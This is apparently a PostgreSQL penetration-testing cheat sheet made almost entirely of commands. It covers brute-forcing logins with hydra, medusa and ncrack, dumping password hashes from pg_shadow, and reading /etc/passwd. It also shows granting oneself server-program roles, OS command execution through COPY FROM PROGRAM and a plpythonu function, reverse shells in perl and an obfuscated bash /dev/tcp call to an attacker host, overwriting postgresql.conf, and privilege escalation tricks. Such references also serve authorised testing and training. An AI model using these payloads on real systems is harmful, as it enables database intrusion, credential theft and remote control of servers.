01PORT     STATE SERVICE
025432/tcp open  pgsql

$psql -U <myuser>                                              # local console
$psql -h <ip> -U <username> -d <database>                      # remote
$psql -h <ip> -p 5432 -U <username> -W <password> <database>   # remote w/ password prompt

01\list           -- list databases
02\c <database>   -- switch DB
03\d              -- list tables
04\du+            -- list roles / users
05\dn+            -- list schemas
06\df *           -- list functions
07\s              -- command history
08 
09SELECT user;                    -- current user
10SELECT current_catalog;         -- current DB
11SELECT version();               -- server version
12SELECT datname FROM pg_database;
13SELECT schema_name, schema_owner FROM information_schema.schemata;
14SELECT usename, passwd FROM pg_shadow;   -- creds (needs superuser)
15SELECT lanname, lanacl FROM pg_language;
16SELECT * FROM pg_extension;              -- installed extensions

$nmap -sV -p 5432 --script=pgsql-brute <ip>

01msf> use auxiliary/scanner/postgres/postgres_version
02msf> use auxiliary/scanner/postgres/postgres_login
03msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
04msf> use auxiliary/admin/postgres/postgres_sql
05msf> use auxiliary/admin/postgres/postgres_readfile
06msf> use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

$hydra -L users.txt -P passwords.txt <ip> -s 5432 postgres
$medusa -h <ip> -U users.txt -P passwords.txt -M postgres
$ncrack -p 5432 --user postgres -P passwords.txt <ip>

01SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10');

01-- Am I superuser?
02SELECT current_setting('is_superuser');
03 
04-- Full role dump
05SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb,
06       r.rolcanlogin, r.rolbypassrls, r.rolreplication,
07       ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m
08             JOIN pg_catalog.pg_roles b ON m.roleid = b.oid
09             WHERE m.member = r.oid) AS memberof
10FROM pg_catalog.pg_roles r ORDER BY 1;
11 
12-- Grant myself into privileged groups (needs CREATEROLE / superuser)
13GRANT pg_execute_server_program TO "<user>";
14GRANT pg_read_server_files      TO "<user>";
15GRANT pg_write_server_files     TO "<user>";

01-- Via COPY (super / pg_read_server_files)
02CREATE TABLE demo(t text);
03COPY demo FROM '/etc/passwd';
04SELECT * FROM demo;
05 
06-- Via helper functions
07\c postgres
08SELECT * FROM pg_ls_dir('/tmp');
09SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);
10SELECT * FROM pg_read_binary_file('/etc/passwd');

01-- Super / pg_write_server_files. One-liner only — COPY strips newlines.
02COPY (SELECT convert_from(decode('<BASE64>','base64'),'utf-8')) TO '/tmp/out.txt';

01DROP TABLE IF EXISTS cmd_exec;
02CREATE TABLE cmd_exec(cmd_output text);
03COPY cmd_exec FROM PROGRAM 'id';
04SELECT * FROM cmd_exec;
05 
06-- Reverse shell (perl)
07COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<lhost>:<lport>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

01DO $$
02DECLARE cmd text;
03BEGIN
04  cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"''';
05  EXECUTE cmd;
06END $$;

01CREATE OR REPLACE FUNCTION shell(text) RETURNS void AS $$
02  import os
03  os.system(args[0])
04$$ LANGUAGE plpythonu;
05SELECT shell('id > /tmp/out');

01-- Multi-line rewrite via Large Objects (works from SQLi)
02SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
03SELECT lo_from_bytea(223, decode('<BASE64_NEW_CONF>','base64'));
04SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
05SELECT pg_reload_conf();
06SELECT pg_switch_wal();

01GRANT pg_execute_server_program TO <me>;
02ALTER USER victim WITH PASSWORD 'new';
03 
04-- If pg_hba.conf has `local ... trust`, escalate through psql:
05COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <me> WITH SUPERUSER;"';

01CREATE EXTENSION dblink;  -- if missing
02SELECT * FROM dblink('host=127.0.0.1 port=5432 user=postgres dbname=postgres',
03                     'SELECT usename,passwd FROM pg_shadow')
04  RETURNS (result TEXT);
05 
06-- Detect availability
07SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

01CREATE TABLE temp_table (data text);
02INSERT INTO temp_table VALUES ('x');
03CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
04  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
05CREATE INDEX ix ON public.temp_table (suid_function(data));
06ALTER TABLE temp_table OWNER TO cloudsqladmin;
07CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
08  LANGUAGE sql VOLATILE AS
09  'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
10ANALYZE public.temp_table;   -- runs as owner

$# Dump every DB
$pg_dumpall -h <ip> -U postgres -f dump.sql
$ 
$# Dump one DB
$pg_dump -h <ip> -U postgres -d <db> -f db.sql
$ 
$# Password hashes (SCRAM-SHA-256 / md5)
$psql -h <ip> -U postgres -c "SELECT usename, passwd FROM pg_shadow;"